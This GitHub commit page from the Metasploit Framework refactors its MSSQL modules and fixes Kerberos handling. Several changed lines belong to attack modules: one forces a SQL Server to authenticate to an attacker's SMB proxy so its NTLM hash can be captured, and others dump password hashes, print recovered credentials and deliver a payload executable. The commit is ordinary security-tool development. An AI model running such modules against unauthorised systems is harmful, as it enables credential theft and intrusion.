Skip to content

Commit

Permalink
kerberos fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
zgoldman-r7 committed Jan 31, 2024
1 parent 6d47fb8 commit 24ebf3e
Show file tree
Hide file tree
Showing 17 changed files with 54 additions and 56 deletions.
4 changes: 2 additions & 2 deletions lib/metasploit/framework/login_scanner/mssql.rb
Expand Up @@ -55,8 +55,8 @@ class MSSQL

attr_accessor :tdsencryption

validates :tdsencryption,
inclusion: { in: [true, false] }
# validates :tdsencryption, - TODO: support TDS Encryption
# inclusion: { in: [true, false] }

def attempt_login(credential)
result_options = {
Expand Down
4 changes: 4 additions & 0 deletions lib/msf/core/exploit/remote/mssql.rb
Expand Up @@ -99,6 +99,10 @@ def mssql_ping_parse(data)
return res
end

def disconnect
@client.disconnect
end

#
# Execute a system command via xp_cmdshell
#
Expand Down
17 changes: 8 additions & 9 deletions lib/rex/proto/mssql/client.rb
Expand Up @@ -46,19 +46,20 @@ class Client
def initialize(framework_module, framework, rhost, rport = 1433)
@framework_module = framework_module
@framework = framework
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
@send_delay = framework_module.datastore['TCP::send_delay'] || 0
@connection_timeout = framework_module.datastore['ConnectTimeout'] || 30
@max_send_size = framework_module.datastore['TCP::max_send_size'] || 0
@send_delay = framework_module.datastore['TCP::send_delay'] || 0

@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
@auth = framework_module.datastore['Mssql::Auth'] || Msf::Exploit::Remote::AuthOption::AUTO
@hostname = framework_module.datastore['Mssql::Rhostname'] || ''

@windows_authentication = framework_module.datastore['USE_WINDOWS_AUTHENT'] || false
@tdsencryption = framework_module.datastore['TDSENCRYPTION'] || false
@hex2binary = framework_module.datastore['HEX2BINARY'] || ''
@rhost = rhost
@rport = rport
end

#
# This method connects to the server over TCP and attempts
# to authenticate with the supplied username and password
Expand Down Expand Up @@ -101,11 +102,10 @@ def mssql_login(user='sa', pass='', db='', domain_name='')
cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) )
aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name
sname = Rex::Text.to_unicode( rhost )

framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if hostname.blank?
framework_module.fail_with(Msf::Exploit::Failure::BadConfig, 'The Mssql::Rhostname option is required when using kerberos authentication.') if @hostname.blank?
kerberos_authenticator = Msf::Exploit::Remote::Kerberos::ServiceAuthenticator::MSSQL.new(
host: domain_controller_rhost,
hostname: hostname,
hostname: @hostname,
mssql_port: rport,
proxies: proxies,
realm: domain_name,
Expand Down Expand Up @@ -404,7 +404,6 @@ def mssql_login(user='sa', pass='', db='', domain_name='')
info = {:errors => []}
info = mssql_parse_reply(resp, info)


return false if not info
info[:login_ack] ? true : false
end
Expand Down
13 changes: 7 additions & 6 deletions modules/auxiliary/admin/mssql/mssql_enum_domain_accounts.rb
Expand Up @@ -28,13 +28,13 @@ def initialize(info = {})

register_options(
[
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000])
OptInt.new('FuzzNum', [true, 'Number of principal_ids to fuzz.', 10000]),
])
end

def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...")
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
Expand Down Expand Up @@ -106,16 +106,16 @@ def run

# Create output file
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
file_name = "#{datastore['RHOST']}-#{datastore['RPORT']}_windows_domain_accounts.csv"
file_name = "#{rhost}-#{rport}_windows_domain_accounts.csv"
path = store_loot(
'mssql.domain.accounts',
'text/plain',
datastore['RHOST'],
rhost,
windows_domain_login_table.to_csv,
file_name,
'Domain Users enumerated through SQL Server',
Expand Down Expand Up @@ -175,6 +175,7 @@ def get_win_domain_users(windows_domain_sid)

# Get windows domain
def get_windows_domain

# Setup query to check the domain
sql = "SELECT DEFAULT_DOMAIN() as mydomain"

Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/admin/mssql/mssql_enum_sql_logins.rb
Expand Up @@ -32,7 +32,7 @@ def initialize(info = {})

def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...")
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
Expand Down
3 changes: 1 addition & 2 deletions modules/auxiliary/admin/mssql/mssql_escalate_dbowner.rb
Expand Up @@ -23,8 +23,7 @@ def initialize(info = {})

def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...")

print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
if mssql_login_datastore
print_good('Connected.')
else
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/admin/mssql/mssql_escalate_execute_as.rb
Expand Up @@ -23,7 +23,7 @@ def initialize(info = {})

def run
# Check connection and issue initial query
print_status("Attempting to connect to the database server at #{datastore['RHOST']}:#{datastore['RPORT']} as #{datastore['USERNAME']}...")
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")

if mssql_login_datastore
print_good('Connected.')
Expand Down
6 changes: 3 additions & 3 deletions modules/auxiliary/admin/mssql/mssql_findandsampledata.rb
Expand Up @@ -338,16 +338,16 @@ def sql_statement()

# STATUSING
print_line(" ")
print_status("Attempting to connect to the SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...")
print_status("Attempting to connect to the SQL Server at #{rhost}:#{rport}...")

# CREATE DATABASE CONNECTION AND SUBMIT QUERY WITH ERROR HANDLING
begin
result = mssql_query(sql, false) if mssql_login_datastore

column_data = result[:rows]
print_good("Successfully connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
print_good("Successfully connected to #{rhost}:#{rport}")
rescue
print_error("Failed to connect to #{datastore['RHOST']}:#{datastore['RPORT']}.")
print_error("Failed to connect to #{rhost}:#{rport}.")
return
end

Expand Down
4 changes: 2 additions & 2 deletions modules/auxiliary/admin/mssql/mssql_ntlm_stealer.rb
Expand Up @@ -63,7 +63,7 @@ def run_host(ip)
# Method to force sql server to authenticate
def force_auth(sprocedure,smbproxy)

print_status("Forcing SQL Server at #{datastore['RHOST']} to auth to #{smbproxy} via #{sprocedure}...")
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")

# Generate random file name
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
Expand All @@ -72,7 +72,7 @@ def force_auth(sprocedure,smbproxy)
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
result = mssql_query(sql, false) if mssql_login_datastore
column_data = result[:rows]
print_good("Successfully executed #{sprocedure} on #{datastore['RHOST']}")
print_good("Successfully executed #{sprocedure} on #{rhost}")
print_good("Go check your SMB relay or capture module for goodies!")

end
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb
Expand Up @@ -45,7 +45,7 @@ def make_login(opts={})
uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] )
sname = Rex::Text.to_unicode( opts[:sname] || rhost )
dname = Rex::Text.to_unicode( opts[:dname] || db )

idx = pkt.size + 50 # lengths below
Expand Down
2 changes: 1 addition & 1 deletion modules/auxiliary/fuzzers/tds/tds_login_username.rb
Expand Up @@ -50,7 +50,7 @@ def do_login(opts={})
uname = Rex::Text.to_unicode( opts[:uname] || "sa" )
pname = opts[:pname_raw] || mssql_tds_encrypt( opts[:pname] || "" )
aname = Rex::Text.to_unicode(opts[:aname] || Rex::Text.rand_text_alpha(rand(8)+1) )
sname = Rex::Text.to_unicode( opts[:sname] || datastore['RHOST'] )
sname = Rex::Text.to_unicode( opts[:sname] || rhost )
dname = Rex::Text.to_unicode( opts[:dname] || db )

idx = pkt.size + 50 # lengths below
Expand Down
4 changes: 2 additions & 2 deletions modules/auxiliary/gather/lansweeper_collector.rb
Expand Up @@ -152,8 +152,8 @@ def run
print_good("Credential name: #{row[0]} | username: #{row[1]} | password: #{pw}")

report_cred(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:host => rhost,
:port => rport,
:creds_name => row[0],
:user => row[1],
:password => pw
Expand Down
11 changes: 6 additions & 5 deletions modules/auxiliary/scanner/mssql/mssql_hashdump.rb
Expand Up @@ -32,7 +32,7 @@ def run_host(ip)

service_data = {
address: ip,
port: datastore['RPORT'],
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
Expand Down Expand Up @@ -70,7 +70,8 @@ def run_host(ip)
create_credential_login(login_data)

# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
instancename= mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[1]
instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')
instancename = instance_info[1] || instance_info[0]
print_status("Instance Name: #{instancename.inspect}")
version = mssql_query(mssql_sql_info())[:rows][0][0]
version_year = version.split('-')[0].slice(/\d\d\d\d/)
Expand Down Expand Up @@ -99,8 +100,8 @@ def report_hashes(mssql_hashes, version_year)
end

this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
Expand All @@ -113,7 +114,7 @@ def report_hashes(mssql_hashes, version_year)

service_data = {
address: ::Rex::Socket.getaddress(rhost,true),
port: datastore['RPORT'],
port: rport,
service_name: 'mssql',
protocol: 'tcp',
workspace_id: myworkspace_id
Expand Down
18 changes: 5 additions & 13 deletions modules/auxiliary/scanner/mssql/mssql_login.rb
Expand Up @@ -8,6 +8,7 @@
require 'rex/proto/mssql/client'

class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::MSSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::AuthBrute

Expand All @@ -30,21 +31,12 @@ def initialize
'BLANK_PASSWORDS' => true
}
)
register_options(
[
Opt::RHOST,
Opt::RPORT(1433),
OptString.new('USERNAME', [ false, 'The username to authenticate as', 'sa']),
OptString.new('PASSWORD', [ false, 'The password for the specified username', '']),
OptBool.new('TDSENCRYPTION', [ true, 'Use TLS/SSL for TDS data "Force Encryption"', false]),
OptBool.new('USE_WINDOWS_AUTHENT', [ true, 'Use windows authentication (requires DOMAIN option set)', false]),
])

deregister_options('PASSWORD_SPRAY')
end

def run_host(ip)
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - MSSQL - Starting authentication scanner.")
print_status("#{rhost}:#{rport} - MSSQL - Starting authentication scanner.")

if datastore['TDSENCRYPTION']
print_status("Manually enabled TLS/SSL to encrypt TDS payloads.")
Expand All @@ -58,7 +50,7 @@ def run_host(ip)

scanner = Metasploit::Framework::LoginScanner::MSSQL.new(
host: ip,
port: datastore['RPORT'],
port: rport,
proxies: datastore['PROXIES'],
cred_details: cred_collection,
stop_on_success: datastore['STOP_ON_SUCCESS'],
Expand Down Expand Up @@ -92,10 +84,10 @@ def run_host(ip)
credential_data[:core] = credential_core
create_credential_login(credential_data)

print_good "#{ip}:#{datastore['RPORT']} - Login Successful: #{result.credential}"
print_good "#{ip}:#{rport} - Login Successful: #{result.credential}"
else
invalidate_login(credential_data)
vprint_error "#{ip}:#{datastore['RPORT']} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end
Expand Down
10 changes: 6 additions & 4 deletions modules/auxiliary/scanner/mssql/mssql_schemadump.rb
Expand Up @@ -31,12 +31,14 @@ def initialize
def run_host(ip)

if !mssql_login_datastore
print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Invalid SQL Server credentials")
print_error("#{rhost}:#{rport} - Invalid SQL Server credentials")
return
end

# Grabs the Instance Name and Version of MSSQL(2k,2k5,2k8)
instancename = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')[0]
instance_info = mssql_query(mssql_enumerate_servername())[:rows][0][0].split('\\')
instancename = instance_info[1] || instance_info[0]

print_status("Instance Name: #{instancename.inspect}")
version = mssql_query(mssql_sql_info())[:rows][0][0]
output = "Microsoft SQL Server Schema \n Host: #{datastore['RHOST']} \n Port: #{datastore['RPORT']} \n Instance: #{instancename} \n Version: #{version} \n====================\n\n"
Expand All @@ -46,10 +48,10 @@ def run_host(ip)
return nil if mssql_schema.nil? or mssql_schema.empty?
mssql_schema.each do |db|
report_note(
:host => datastore['RHOST'],
:host => rhost,
:type => "mssql.db.schema",
:data => db,
:port => datastore['RPORT'],
:port => rport,
:proto => 'tcp',
:update => :unique_data
)
Expand Down
Expand Up @@ -72,7 +72,7 @@ def exploit
end

print_status("")
print_good("Successfully authenticated to #{datastore['RHOST']}:#{datastore['RPORT']} with user 'sa' and password '#{pass}'")
print_good("Successfully authenticated to #{rhost}:#{rport} with user 'sa' and password '#{pass}'")
print_status("")

exe = generate_payload_exe
Expand Down
6 changes: 3 additions & 3 deletions modules/exploits/windows/mssql/mssql_linkcrawler.rb
Expand Up @@ -76,7 +76,7 @@ def exploit
print_status("-------------------------------------------------")

# Check if credentials are correct
print_status("Attempting to connect to SQL Server at #{datastore['RHOST']}:#{datastore['RPORT']}...")
print_status("Attempting to connect to SQL Server at #{rhost}:#{rport}...")

if !mssql_login_datastore
print_error("Invalid SQL Server credentials")
Expand Down Expand Up @@ -240,8 +240,8 @@ def exploit
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:host => rhost,
:port => rport,
:name => 'mssql',
:proto => 'tcp'
)
Expand Down

0 comments on commit 24ebf3e

Please sign in to comment.